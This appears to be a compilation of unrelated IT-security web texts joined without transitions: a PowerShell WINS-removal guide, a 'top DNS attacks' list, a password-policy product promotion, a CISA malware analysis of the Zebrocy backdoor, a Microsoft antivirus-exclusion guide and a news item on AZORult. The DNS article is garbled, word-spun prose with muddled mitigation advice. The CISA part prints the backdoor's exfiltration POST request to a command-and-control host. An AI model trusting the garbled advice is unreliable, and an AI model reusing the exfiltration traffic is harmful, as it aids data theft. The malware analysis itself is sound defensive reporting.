As part of a recent decommission / security audit, we needed to remove an old WINS server. For desktop client this is fairly easy as they are all assigned through DHCP so it was just a case of removing WINS from the DHCP scope options.
For the hundreds of servers it is set manually, which to remove one by one would take a long time and be pretty boring for the person tasked with it. So I decided the simplest option would be to use PowerShell.
First I wanted to check if servers had WINS enabled so I could reduce the amount of server I would need to run the disable script against.
I am going to use Get-WmiObject and the Win32_NetworkAdapterConfiguration class as this is the simplest way I found to do this in PowerShell.
We will use a text file with a list of server names and a variable called $WINSServer that will be used to filter only network interfaces that have WINS set.
Below is the script to check for WINS and output to PowerShell windows I am just getting all adapters that have WINSPriamryServer value set to the IP in the $WINSServer variable and then selecting the objects to be outputted.
If you wanted to export to a csv or text file just add a | after the WINSPrimaryServer at the end of the script and do either Out-file or Export-csv and the path to export too.
Below is the link to the script location on Github it called Check-Wins.ps1
To remove the WINS IP and set NetBios option, we will use the set method in the WMI class.
Below is the link to the script location on Github it called Remove-Wins.ps1 :
Once the script has run WINS should be removed and NetBios over Tcpip should be disabled this can be checked under the advanced properties on the NIC.
From the above topic, we can guess that today, we are going to discuss the top 10 DNS attacks and how to mitigate them. DNS stands for Domain Name System which remains under constant attacks, and thus we can assume there is no end in sight because the threats are growing increasingly nowadays.
DNS generally uses UDP fundamentally and in some cases, uses TCP as well. When it uses the UDP protocol, which is connectionless and can be tricked easily.
Thus DNS protocol is remarkably popular as a DDoS tool, and DNS, recognized as the internet’s phonebook, which is a component of the global internet foundation that transmutes between well-known names and the number that a computer needed to enter a website and send an email.
DNS has long been the target of attackers looking to take all custom of corporate and secret data, hence, the warnings in the past year indicate a worsening of the condition.
As per the IDC’s research, the average costs correlated with a DNS mugging rose by 49% associated with a year earlier. However, in the U.S., the average price of a DNS attack trims out at more than $1.27 million.
Approximately half of the respondents (48%) state that wasting more than $500,000 to a DNS attack, and about 10% say that they lost more than $5 million on each break. In extension, the preponderance of U.S. companies says that it needed more than one day to determine a DNS attack.
Shockingly, as per the information both in-house and cloud applications were destroyed, the 100% growth of threats in the in-house application interlude, frothingly it is now the most widespread destruction experienced that IDC composed.
Thus the “DNS attacks are running away from real brute-force to more complicated attacks running from the internal network. Thus the complicated attack will push the organizations to use intelligent mitigation tools so that they can easily cope with insider threats.”
Therefore we have provided the top 10 DNS attacks and the proper solutions to fix them, so that it will be easy for the organizations to recognize the attacks and can quickly solve it.
FamousDNS Attacks Type:
Distributed Reflection Denial of Service (DRDoS)
Phantom Domain Attack
TCP SYN Floods
Random Subdomain Attack
DNS Flood Attack
At first, we have the cache poisoning, it’s one of the frequent attacks, and its main aim is to take the web users towards the scam websites, as for example, a user accesses gmail.com through the web browser to consult their mailbox.
Moreover, the DNS is becoming poisoned, and it’s not the gmail.com page which is exposed but a scam page determined by the criminal, in order, for example, to reclaim the email box accesses. Thus the users accessing the correct domain name will not see that the website they’re entering is not the right one but a scam one.
Basically, it generates an excellent possibility for cybercriminals to use phishing techniques to steal information, both identification information or credit card information from ingenuous victims. The attack can be devastating, depending on several factors, the attacker’s purpose, and the DNS poisoning impact.
DNS Attack Mitigation –Cache poisoning
As per the information, there are several forms to solve or to prevent this attack. For beginners, the IT teams should configure DNS servers to rely as small as possible on trust relations with other DNS servers. Performing so will make it more difficult for attackers to practice their DNS servers to debased their targets’ servers. There is another method to prevent cache poisoning attacks, as IT teams should also configure their DNS name servers to:-
To restrict recursive queries.
To store only data associated with the requested domain.
To restrict query responses to only given information about the demanded domain.
Not only this, but there are also some cache poisoning tools accessible to help organizations for preventing cache poisoning outbreaks. And the most famous cache poisoning prevention tool is the DNSSEC (Domain Name System Security Extension), a tool that is produced by the Internet Engineering Task Force, which provides reliable DNS data authentication.
Distributed Reflection Denial of Service (DRDoS)
Distributed reflective denial of service (DRDoS) attacks concentrate on bringing down the availability of an asset within an authoritative volume of UDP acknowledgments. In some instances, the attacker would transfer a DNS, NTP, etc.
They demand a parodied source IP, with the purpose of a more extensive acknowledgment being transferred to the host who indeed continues at the address that was forged.
UDP is the protocol of different choices for this variety of attacks, as it does not build a connection state. For example, suppose a spoofed source of IP in the SYN package of a TCP connection would cause immediate termination just because the SYN/ACK will go away.
This practice makes reflection potential and possible, meanwhile, regulating these attacks at the proper scale, the idea of shared reflection becomes clear; hence, various endpoints transmitting spoofed UDP offers, generating acknowledgments that will be concentrated upon a target.
Once these response packs begin to appear, the goal experiences a loss of availability.
How to Prevent?
Usually, organizations should commence on preparing for DDoS attacks in advance, it is exceedingly harder to answer after an attack because it is already underway.
Moreover, DDoS attacks can’t be stopped, therefore some steps can be taken to make it more troublesome for an attacker to perform a network unresponsive. The following steps will help you to scatter organizational assets to bypass performing a single deep target to an attacker.
First, locate servers in different data centers.
Assure that your data centers are located on various networks.
Make sure that data centers have several paths.
Make sure that the data centers, or the networks that the data centers are related to, have no essential security holes or single points of failure.
An organization that relies on servers and Internet port, for them, it is essential to make sure that devices are geographically scattered and not located in a particular data center.
Moreover, if the resources are already geographically dispersed, then it’s essential to inspect each data station is having more than one channel to the internet and assure that not all data stations are attached to the corresponding internet provider.
DNS hijacking is a method in which an individual can divert to the doubtful DNS (Domain Name System). However, it may be achieved by using malicious software or unauthorized alteration of a server.
Meanwhile, the individual has the authority of the DNS; they can guide others who obtain it to a web page that seems identical but carries extra content like advertisements. They can also guide users to pages carrying malware or a third-party search engine as well.
How to Prevent?
A DNS name server is a compassionate foundation that needs necessary protection measures because it can be hijacked and used by several hackers to raise DDoS attacks on others, thus, here we have mentioned some prevention of DNS hijacking.
See for resolvers on your network.
Critically restrict access to a name server.
Utilize measures against cache poisoning.
Instantly patch known vulnerabilities.
Separate the authoritative name server from the resolver.
Restrain zone alterations.
Phantom domain attack
Phantom domain attacks are kind of comparable to casual subdomain attacks. Thus in this kind of attack, the attackers attack your DNS resolver and overpower it to use up supplies to determine that’s what we name “phantom” domains, as these phantom domains will never respond to the queries.
The main motive of this attack is to let the DNS resolver server await for the answer for a long time, ultimately leading to failure or deteriorated DNS performance problems.
How to Prevent?
To identify phantom domain attacks, you can analyze your log messages. Moreover, you can also follow the steps that we have mentioned below to mitigate this attack.
First, increase the number of recursive clients.
Use a proper sequence of the following parameters to gain optimum results.
Restrict recursive queries per server and Restrict recursive inquiries per zone.
Empower to hold down for non-responsive servers and Check recursive queries per zone.
When you allow any of the options, the failure values are set at an excellent level for overall operations. However, you should keep the default charges while using these commands, moreover, it guarantees that you know the consequences if you want to replace the default values.
TCP SYN Floods
An SYN Flood is a simple form of Denial-of-Service (DDoS) attack that can target any operation related to the internet and thus implementing Transmission Control Protocol (TCP) services.
An SYN wave is a type of TCP State-Exhaustion attack that endeavors to utilize the connection element tables present in common infrastructure elements, for example, load balancers, firewalls, Intrusion Prevention Systems (IPS), and the utilization servers themselves.
Hence, This type of attack can bring down even high-capacity devices fitted to managing millions of links. Moreover, a TCP SYN flood attack occurs when the attacker overflows the system with SYN questions to destroy the target and make it incapable of reacting to new real connection offers.
Thus it encourages all of the target server’s information ports into a half-open state.
How to Prevent?
So, the firewalls and IPS devices, while important to network security, are not sufficient to protect a network from complex DDoS attacks.
Nowadays, the more sophisticated attack methodologies demand a multi-faceted program that allows users to look beyond both internet foundation and network availability.
Thus there are some capabilities that you can count for more powerful DDoS security and faster mitigation of TCP SYN flood attacks.
At first, provide proper support to both inline and out-of-band deployment to assure that there is not only one single point of collapse on the network.
Extensive network distinctness with the capacity to see and examine traffic from various parts of the network.
Different sources of threat intelligence, including statistical exception detection, customizable entrance alerts, and fingerprints of known threats that assure fast and reliable detection.
Extensible to handle attacks of all sizes, extending from low-end to high-end and high-end to low-end.
Random Subdomain Attack
This is not the most prevalent type of DNS attack, but it can happen from time to time on several networks. Hence, the random subdomain attacks can often be identified as DoS attacks, as their creation adheres to the same goal as simple DoS.
Incase, spoilers send a lot of DNS inquiries against a healthy and active domain name. However, the questions will not target the primary domain name, but it will harm a lot of non-existing subdomains.
Basically, the main motive of this attack is to build a DoS that will immerse the authorized DNS server that receives the primary domain name, and finally let the interruption of all DNS record lookups.
Thus It’s an attack that’s hard to identify, as the queries will come from infected users who don’t even understand they’re sending certain types of questions, from what are eventually legitimate computers.
How to Prevent?
Thus we have provided you a simple method for preventing the random subdomain attack only in a 30-minute.
In the beginning, you have to learn the techniques to mitigate the attacks that generate extreme traffic on resolvers and web resources that are connected with the victim the names that can be taken down.
Next, Hear about modern capabilities like Response Rate Limiting for preserving DNS experts that provoke attacks.
This is a cyber attack that is used to carry encoded data from different applications inside DNS acknowledgments and queries.
Meanwhile, this system wasn’t formerly created to attack multitudes, but to bypass interface controls, now it is mostly used to achieve remote attacks.
To implement DNS tunneling, attackers demand to gain entrance to a settled system, as well as access to an internal DNS server, a domain name, and a DNS authoritative server.
How to Prevent?
To configure the firewall to identify and block DNS tunneling by designing an application rule that uses some protocol object, we have mentioned three steps to mitigate these types of attacks.
Create an access rule.
Create a protocol object.
Create an application rule.
DNS Flood Attack
This is one of the most primary types of DNS attacks, and in this Distributed Denial of Service (DDoS), the intruder will hit your DNS servers.
The main motive of this kind of DNS flood is to completely overload your server so that it cannot maintain serving DNS requests because all the treated DNS zones influence the purpose of resource records.
Thus this kind of attack is relieved easily as the source usually comes from one single IP. However, it can get complicated when it becomes a DDoS where a hundred or thousand gatherings are involved.
While a lot of questions will be immediately identified as malicious bugs and a lot of legitimate requests will be made to mislead defense devices, hence, this makes the mitigation method a little bit difficult sometimes.
How to Prevent?
Domain Name System (DNS) has developed a target of the Distributed Denial of Service (DDoS) attacks. When a DNS is below a DDoS flood attack, all the domain data under that DNS enhances unreachable, thus ultimately creating the unavailability of those appropriate domain names.
Hence, for this type of attack, we have introduced a method that includes the periodic stale content update and manages a list of the most commonly queried domain names of several DNS servers. Hence our simulation outcomes show that our method can work more than 70% of the total cache replies during a massive DNS Flood attack.
This type of attack involves settings in your DNS servers and domain registrar that can manage your traffic away from the actual servers to new destinations.
Domain hijacking is usually affected by a lot of determinants related to exploiting a vulnerability in the domain name registrar’s system, but can also be performed at the DNS level when attackers take command of your DNS records.
Hence when the attacker hijacked your domain name, it will be used to originate malicious movements such as installing up a fake page of repayment systems like PayPal, Visa, or bank systems. Attackers will produce an identical copy of the real website that reads critical personal knowledge, such as email addresses, usernames, and passwords.
How to Prevent?
Thus you can simply mitigate the domain hijacking by practicing a few steps that we have mentioned below.
Upgrade your DNS in the application foundation.
If we talk about the botnet, then let me clarify that it is a number of Internet-connected devices, and it can be practiced to implement a distributed denial-of-service attack (DDoS attack), which steal data, transmit spam, and enables the attacker to obtain access to the device and its connection.
Moreover, botnets are diverse and evolving threats, hence, all these attacks are bound to develop in parallel with our growing dependence on digital devices, the internet, and new future technologies.
The botnets can be counted as attacks, as well as programs for future attacks, with this as the foundational prospect, this study explores how a botnet described and organized, how it is created, and used.
How to Prevent?
This is one of the frequent DNS attacks which have been faced by the victims every day, thus to mitigate these type of attacks, we have mentioned below few steps so that it will be helpful for you.
At first, understand your vulnerabilities properly.
Next, secure the IoT devices.
Identify both your mitigation myths from facts.
Discover, classify and control.
As you see, DNS service is essential for preserving your companies’ websites and online assistance working day-to-day. Thus if you’re looking for methods to evade these kinds of DNS attacks, then this post will be helpful for you. So, what do you think about this? Simply share all your views and thoughts in the comment section below. And if you liked this post then simply do not forget to share this post with your friends and family.
One of the many features of an Active Directory Password Policy is the maximum password age. Traditional Active Directory environments have long using password aging as a means to bolster password security. Native password aging in the default Active Directory Password Policy is relatively limited in configuration settings.
Let’s take a look at a few best practices that have changed in regards to password aging. What controls can you enforce in regards to password aging using the default Active Directory Password Policy? Are there better tools that organizations can use regarding controlling the maximum password age for Active Directory user accounts?
What password aging best practices have changed?
Password aging for Active Directory user accounts has long been a controversial topic in security best practices.
While many organizations still apply more traditional password aging rules, noted security organizations have provided updated password aging guidance. Microsoft has said that they are dropping the password-expiration policies from the Security baseline for Windows 10 v1903 and Windows Server v1903. The National Institute of Standards and Technology (NIST) has long offered a cybersecurity framework and security best practice recommendations.
“Verifiers SHOULD NOT require memorized secrets to be changed arbitrarily (e.g., periodically). However, verifiers SHALL force a change if there is evidence of compromise of the authenticator.” NIST helps to explain the guidance change in their FAQ page covering the Digital Identity Guidelines.
It states: “Users tend to choose weaker memorized secrets when they know that they will have to change them in the near future. When those changes do occur, they often select a secret that is similar to their old memorized secret by applying a set of common transformations such as increasing a number in the password. This practice provides a false sense of security if any of the previous secrets has been compromised since attackers can apply these same common transformations. But if there is evidence that the memorized secret has been compromised, such as by a breach of the verifier’s hashed password database or observed fraudulent activity, subscribers should be required to change their memorized secrets. However, this event-based change should occur rarely, so that they are less motivated to choose a weak secret with the knowledge that it will only be used for a limited period of time.”
With the new guidance from the above organizations and many others, security experts acknowledge that password aging, at least in itself, is not necessarily a good strategy to prevent the compromise of passwords in the environment.
The recent changes in password aging guidance also apply to traditional Microsoft Active Directory Password Policies.
Active Directory Password Policy Password Aging
The capabilities of the password change policies in default Active Directory Password Policies are limited. You can configure the maximum password age, and that is all. By default, Active Directory includes the following Password Policy settings:
Enforce password history
Maximum password age
Minimum password age
Minimum password length
Minimum password length audit
Password must meet complexity requirements
Store passwords using reversible encryption
When you double click the maximum password age, you can configure the maximum number of days a user can use the same password.
When you look at the explanation given for the password age, you will see the following in the Group Policy setting:
“This security setting determines the period of time (in days) that a password can be used before the system requires the user to change it. You can set passwords to expire after a number of days between 1 and 999, or you can specify that passwords never expire by setting the number of days to 0. If the maximum password age is between 1 and 999 days, the minimum password age must be less than the maximum password age. If the maximum password age is set to 0, the minimum password age can be any value between 0 and 998 days.”
Defining the maximum password age with Active Directory Password Policy
With the default policy setting, you really can either turn the policy on or off and then set the number of days before the user password expires. What if you had further options to control the maximum password age and set different values based on the password complexity?
Specops Length Based Password Policy
As mentioned, recent guidance from many cybersecurity best practice authorities recommends against forced password changes and details the reasons for this change. However, many organizations may still leverage password aging as a part of their overall password security strategy to protect against user passwords falling into the wrong hands. What if IT admins had features in addition to what is provided by Active Directory?
Specops Password Policy provides many additional features when compared to the default Active Directory Password Policy settings, including password expiration. One of the options contained in the Specops Password Policy is called “Length based password aging.
Using this setting, organizations can define different “levels” of password expiration based on the user password’s length. It allows much more granularity in how organizations configure password aging in an Active Directory environment compared to using the default Active Directory Password Policy configuration settings.
It also allows targeting the weakest passwords in the environment and forcing these to age out the quickest. You will note in the screenshot. The length-based password aging in Specops Password Policy is highly configurable.
It includes the following settings:
Number of expiration levels – Enter how many expiration levels there will be. An expiration level determines how many extra days the user will have until their password expires and they are required to change it. This depends on how long the user’s password is. To increase the number of levels, move the slider to the right. The maximum number of expiration levels that can exist is 5.
Characters per level – The number of additional characters per level that define the extra days in password expiration
Extra days per level – How many additional expiration days each level is worth.
Disable expiration for the last level – Passwords that meet the requirements for the final expiration level in the list will not expire.
Configuring the Length based password policy in Specops Password Policy
Specops allows easily notifying end-users when their password is close to expiring. It will inform end-users at login or by way of sending an email notification. You can configure the days before expiration value for each of these settings.
Configuring password expiration notifications in Specops Password Policy
Organizations define the minimum and maximum password length configurations in the Password Rules area of the Specops Password Policy configuration. If you change the minimum and maximum password length configuration, the password length values in each level of the length-based password expiration will change as well.
Configuring the minimum and maximum password length
Combined with other Specops Password Policy features, such as breached password protection, the length-based password expiration strengthens enterprise password policies for both on-premises and remote workers.
Password aging has long been a feature of Active Directory Password Policies in most enterprise environments. However, as attackers get better at compromising passwords, new security best practice guidance is no longer recommending organizations make use of standard password aging.
Specops Password Policy provides compelling password aging capabilities that allow extending password aging features compared to default Active Directory Password Policies. By adding expiration levels, Specops Password Policy allows effectively targeting weak passwords in the environment by quickly aging these passwords out. End-users can use strong passwords much longer.
Organizations can even decide never to expire specific passwords that meet the defined password length. Using Specops Password Policy features, including length-based password expiration, helps to ensure more robust password security in the environment. Click here to learn more.
This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.
This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.
This Malware Analysis Report (MAR) is the result of analytic efforts between the Cybersecurity and Infrastructure Security Agency (CISA) and the Cyber National Mission Force (CNMF). The malware variant, known as Zebrocy, has been used by a sophisticated cyber actor. CISA and CNMF are distributing this MAR to enable network defense and reduced exposure to malicious activity. This MAR includes suggested response actions and recommended mitigation techniques.
Two Windows executables identified as a new variant of the Zebrocy backdoor were submitted for analysis. The file is designed to allow a remote operator to perform various functions on the compromised system.
Users or administrators should flag activity associated with the malware and report the activity to the CISA or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation. For more information on malicious cyber activity, please visit https[:]//www[.]us-cert.gov.
This file is a 32-bit Windows executable written using Golang programming language. The file has been identified as a new variant of the Zebrocy backdoor. The file takes an argument that is supposed to be an Exclusive OR (XOR) and hexadecimal encoded Uniform Resource Identifier (URI) or it can run using a plaintext URI.
Displayed below is a sample plaintext argument used by the malware:
When executed, it will encrypt the URI using an Advanced Encryption Standard (AES)-128 Electronic Code Book (ECB) algorithm with a key generated from the victim’s hostname. The encrypted data is hexadecimal encoded and stored into “%AppData%\Roaming\Personalization\EUDC\Policies\3030304332393839394630353537343934453244.”
It also collects information about the victim’s system such as username, 6 bytes of current user’s Security Identifiers (SID), and time of infection. The data is encrypted and hexadecimal encoded before being exfiltrated using the predefined URI:
–Begin POST requests–
–Begin POST request sample– POST / HTTP/1.1 Host: www[.]<domain>.com User-Agent: Go-http-client/1.1 Content-Length: 297 Content-Type: multipart/form-data; boundary=ac3d81244405bbbc958b22a748770ad10f9edd7be9946ccfd5b7bb1cc228 Accept-Encoding: gzip
This file is a 32-bit Windows executable written using Golang programming language. The file has been identified as new variant of the Zebrocy backdoor. The file takes an argument that is supposed to be an XOR and hexadecimal encoded URI. The file cannot run using a plaintext URI as compared to the other Zebrocy backdoor binary “ba9c59783b52b93aa6dfd4cfffc16f2b”. This file and ba9c59783b52b93aa6dfd4cfffc16f2b have similar functions.
When executed, it will encrypt the URI using AES-128 ECB algorithm with a key generated from the victim’s hostname. The encrypted data is hexadecimal encoded and stored into “%AppData%\Roaming\UserData\Multimedia\Policies\3030304332393839394630353537343934453244”.
It also collects information about the victim’s system such as username, 6 bytes of current user’s SID, and time of infection. The data is encrypted and hexadecimal encoded before exfiltrated using the predefined URI.
–Begin POST request– POST / HTTP/1.1 Host: www[.]<domain>.com User-Agent: Go-http-client/1.1 Content-Length: 297 Content-Type: multipart/form-data; boundary=0af2fd2b7a4e61d071fa7002fb2b1472abba9bf8a33543e34ecd00d915db Accept-Encoding: gzip
1 –0af2fd2b7a4e61d071fa7002fb2b1472abba9bf8a33543e34ecd00d915db– –End POST request–
The malware is designed to encrypt future communication using an AES encryption algorithm.
The malware allows a remote operator to perform the following functions:
–Begin functions– File manipulation such as creation, modification, and deletion Screenshot capabilities Drive enumeration Command execution (using cmd.exe) Create schedule a task for persistence manually More –End functions–
CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.
Maintain up-to-date antivirus signatures and engines.
Keep operating system patches up-to-date.
Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
Enforce a strong password policy and implement regular password changes.
Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
Disable unnecessary services on agency workstations and servers.
Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
Scan all software downloaded from the Internet prior to executing.
Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).
Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.
CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://www.cisa.gov/forms/feedback/
What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.
What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.
Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.
Can I submit malware to CISA? Malware samples can be submitted via three methods:
CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.
Windows Server 2012, all editions
Windows Server 2012 R2, all editions
Windows Server 2016, all editions
Windows Server 2019, all editions
Windows 7, all editions
Windows 8.1, all editions
Windows 10, all editions
This article contains recommendations that may help an administrator determine the cause of potential instability on a computer that is running a supported version of Microsoft Windows when it is used together with antivirus software in an Active Directory domain environment or in a managed business environment.
Note We recommend that you temporarily apply these settings to evaluate system behavior. If your system performance or stability is improved by the recommendations that are made in this article, contact your antivirus software vendor for instructions or for an updated version or settings of the antivirus software.
Important This article contains information that shows how to help lower security settings or how to temporarily turn off security features on a computer. You can make these changes to understand the nature of a specific problem. Before you make these changes, we recommend that you evaluate the risks that are associated with implementing this workaround in your particular environment. If you implement this workaround, take any appropriate additional steps to help protect the computer.
For computers that are running Windows 7 and later versions of Windows
Warning This workaround may make a computer or a network more vulnerable to attack by malicious users or by malicious software such as viruses. We do not recommend this workaround but are providing this information so that you can implement this workaround at your own discretion. Use this workaround at your own risk.
We are aware of the risk of excluding the specific files or folders that are mentioned in this article from scans that are made by your antivirus software. Your system will be safer if you do not exclude any files or folders from scans.
When you scan these files, performance and operating system reliability problems may occur because of file locking.
Do not exclude any one of these files based on the file name extension. For example, do not exclude all files that have a .dit extension. Microsoft has no control over other files that may use the same extensions as the files that are described in this article.
This article provides both file names and folders that can be excluded. All the files and folders that are described in this article are protected by default permissions to allow only SYSTEM and administrator access, and they contain only operating system components. Excluding an entire folder may be simpler but may not provide as much protection as excluding specific files based on file names.
Turn off scanning of Windows Update or Automatic Update related files
Turn off scanning of the Windows Update or Automatic Update database file (Datastore.edb). This file is located in the following folder:
Turn off scanning of the log files that are located in the following folder:
Specifically, exclude the following files:
The wildcard character (*) indicates that there may be several files.
Turn off scanning of Windows Security files
Add the following files in the %windir%\Security\Database path of the exclusions list:
Note If these files are not excluded, antivirus software may prevent proper access to these files, and security databases can become corrupted. Scanning these files can prevent the files from being used or may prevent a security policy from being applied to the files. These files should not be scanned because antivirus software may not correctly treat them as proprietary database files.
These are the recommended exclusions. There may be other file types that are not included in this article that should be excluded.
Turn off scanning of Group Policy-related files
Group Policy user registry information. These files are located in the following folder:
Specifically, exclude the following file:
Group Policy client settings files. These files are located in the following folder:
User registry information and supporting files. The files are located in the following folder:
Specifically, exclude the following files:
Running antivirus software on domain controllers
Because domain controllers provide an important service to clients, the risk of disruption of their activities from malicious code, from malware, or from a virus must be minimized. Antivirus software is the generally accepted way to reduce the risk of infection. Install and configure antivirus software so that the risk to the domain controller is reduced as much as possible and performance is affected as little as possible. The following list contains recommendations to help you configure and install antivirus software on a Windows Server domain controller.
Warning We recommend that you apply the following specified configuration to a test system to make sure that in your specific environment it does not introduce unexpected factors or compromise the stability of the system. The risk from too much scanning is that files are inappropriately flagged as changed. This causes too much replication in Active Directory. If testing verifies that replication is not affected by the following recommendations, you can apply the antivirus software to the production environment.
Note Specific recommendations from antivirus software vendors may supersede the recommendations in this article.
Antivirus software must be installed on all domain controllers in the enterprise. Ideally, try to install such software on all other server and client systems that have to interact with the domain controllers. It is optimal to catch the malware at the earliest point, such as at the firewall or at the client system where the malware is introduced. This prevents the malware from ever reaching the infrastructure systems that the clients depend on.
Use a version of antivirus software that is designed to work with Active Directory domain controllers and that uses the correct Application Programming Interfaces (APIs) to access files on the server. Older versions of most vendor software inappropriately change a file's metadata as the file is scanned. This causes the File Replication Service engine to recognize a file change and therefore schedule the file for replication. Newer versions prevent this problem.
For more information, see the following article in the Microsoft Knowledge Base:
815263 Antivirus, backup, and disk optimization programs that are compatible with the File Replication Service
Do not use a domain controller to browse the Internet or to perform other activities that may introduce malicious code.
We recommend that you minimize the workloads on domain controllers. When possible, avoid using domain controllers in a file server role. This lowers virus-scanning activity on file shares and minimizes performance overhead.
Do not put Active Directory or FRS database and log files on NTFS file system compressed volumes.
Turn off scanning of Active Directory and Active Directory-related files
Exclude the Main NTDS database files. The location of these files is specified in the following registr subkey:
The default location is %windir%\Ntfrs. Exclude the following files.
Note Settings for specific file exclusions is documented here for completeness. By default, these folders allow access only to System and Administrators. Please verify that the correct protections are in place. These folders contain only component working files for FRS and DFSR.
Edb*.log (if the registry key is not set)
FRS Working Dir\Jet\Log\Edb*.jrs
Turn off scanning of the NTFRS Staging folder as specified in the following registry subkey:
HKEY_LOCAL_MACHINE\SYSTEM\Currentcontrolset\Services\NtFrs\Parameters\Replica Sets\GUID\Replica Set Stage
By default, staging uses the following location:
Turn off scanning of the DFSR Staging folder as specified in the msDFSR-StagingPath attribute of the object CN=SYSVOL Subscription,CN=Domain System Volume,CN=DFSR-LocalSettings,CN=DomainControllerName,OU=Domain Controllers,DC=DomainName in AD DS. This attribute contains the path to the actual location that DFS replication uses to stage files. Specifically, exclude the following files:
Turn off scanning of files in the Sysvol\Sysvol folder or the SYSVOL_DFSR\Sysvol folder.
The current location of the Sysvol\Sysvol or SYSVOL_DFSR\Sysvol folder and all the subfolders is the file system reparse target of the replica set root. The Sysvol\Sysvol and SYSVOL_DFSR\Sysvol folders use the following locations by default:
The Preinstall folder is always open when FRS is running.
Exclude the following files from this folder and all its subfolders:
Turn off scanning of files in the DFSR database and working folders. The location is specified by the following registry subkey:
HKEY_LOCAL_MACHINE\SYSTEM\Currentcontrolset\Services\DFSR\Parameters\Replication Groups\GUID\Replica Set Configuration File=Path
In this registry subkey, "Path" is the path of an XML file that states the name of the Replication Group. In this example, the path would contain "Domain System Volume."
The default location is the following hidden folder:
%systemdrive%\System Volume Information\DFSR
Exclude the following files from this folder and all its subfolders:
If any one of these folders or files is moved or is put in a different location, scan or exclude the equivalent element.
Turn off scanning of DFS files
The same resources that are excluded for a SYSVOL replica set must also be excluded when FRS or DFSR is used to replicate shares that are mapped to the DFS root and link targets on Windows Server 2008 R2-based or Windows Server 2008-based member computers or domain controllers.
Turn off scanning of DHCP files
By default, DHCP files that should be excluded are present in the following folder on the server:
Exclude the following files from this folder and all its subfolders:
The location of DHCP files can be changed. To determine the current location of the DHCP files on the server, check the DatabasePath, DhcpLogFilePath, and BackupDatabasePath parameters that are specified in the following registry subkey:
Exclude the following files from this folder and all its subfolders:
Turn off scanning of WINS files
By default, WINS uses the following folder:
Exclude the following files from this folder and all its subfolders:
For computers that are running Hyper-V based versions of Windows
In some scenarios, on a Windows Server 2008-based computer that has the Hyper-V role installed or on a Microsoft Hyper-V Server 2008 or on a Microsoft Hyper-V Server 2008 R2-based computer, it may be necessary to configure the real-time scanning component within the antivirus software to exclude files and entire folders. For more information, see the following article in the Microsoft Knowledge Base:
961804 Virtual machines are missing, or error 0x800704C8, 0x80070037, or 0x800703E3 occurs when you try to start or create a virtual machine
Cybercriminals will stop at nothing to exploit every chance to prey on internet users.
Even the disastrous spread of SARS-COV-II (the virus), which causes COVID-19 (the disease), is becoming an opportunity for them to likewise spread malware or launch cyber attacks.
Reason Cybersecurity recently released a threat analysis report detailing a new attack that takes advantage of internet users' increased craving for information about the novel coronavirus that is wreaking havoc worldwide.
The malware attack specifically aims to target those who are looking for cartographic presentations of the spread of COVID-19 on the Internet, and trickes them to download and run a malicious application that, on its front-end, shows a map loaded from a legit online source but in the background compromises the computer.
New Threat With An Old Malware Component
The latest threat, designed to steal information from unwitting victims, was first spotted by MalwareHunterTeam last week and has now been analyzed by Shai Alfasi, a cybersecurity researcher at Reason Labs.
It involves a malware identified as AZORult, an information-stealing malicious software discovered in 2016. AZORult malware collects information stored in web browsers, particularly cookies, browsing histories, user IDs, passwords, and even cryptocurrency keys.
With these data drawn from browsers, it is possible for cybercriminals to steal credit card numbers, login credentials, and various other sensitive information.
AZORult is reportedly discussed in Russian underground forums as a tool for gathering sensitive data from computers. It comes with a variant that is capable of generating a hidden administrator account in infected computers to enable connections via the remote desktop protocol (RDP).
Alfasi provides technical details upon studying the malware, which is embedded in the file, usually named as Corona-virus-Map.com.exe. It's a small Win32 EXE file with a payload size of only around 3.26 MB.
Double-clicking the file opens a window that shows various information about the spread of COVID-19. The centerpiece is a "map of infections" similar to the one hosted by Johns Hopkins University, a legitimate online source to visualize and track reported coronavirus cases in the real-time.
Numbers of confirmed cases in different countries are presented on the left side while stats on deaths and recoveries are on the right. The window appears to be interactive, with tabs for various other related information and links to sources.
It presents a convincing GUI not many would suspect to be harmful. The information presented is not an amalgamation of random data, instead is actual COVID-19 information pooled from the Johns Hopkins website.
To be noted, the original coronavirus map hosted online by Johns Hopkins University or ArcGIS is not infect or backdoored in any way and are safe to visit.
The malicious software utilizes some layers of packing along with a multi-sub-process technique infused to make it challenging for researchers to detect and analyze. Additionally, it employs a task scheduler so it can continue operating.
Signs of Infection
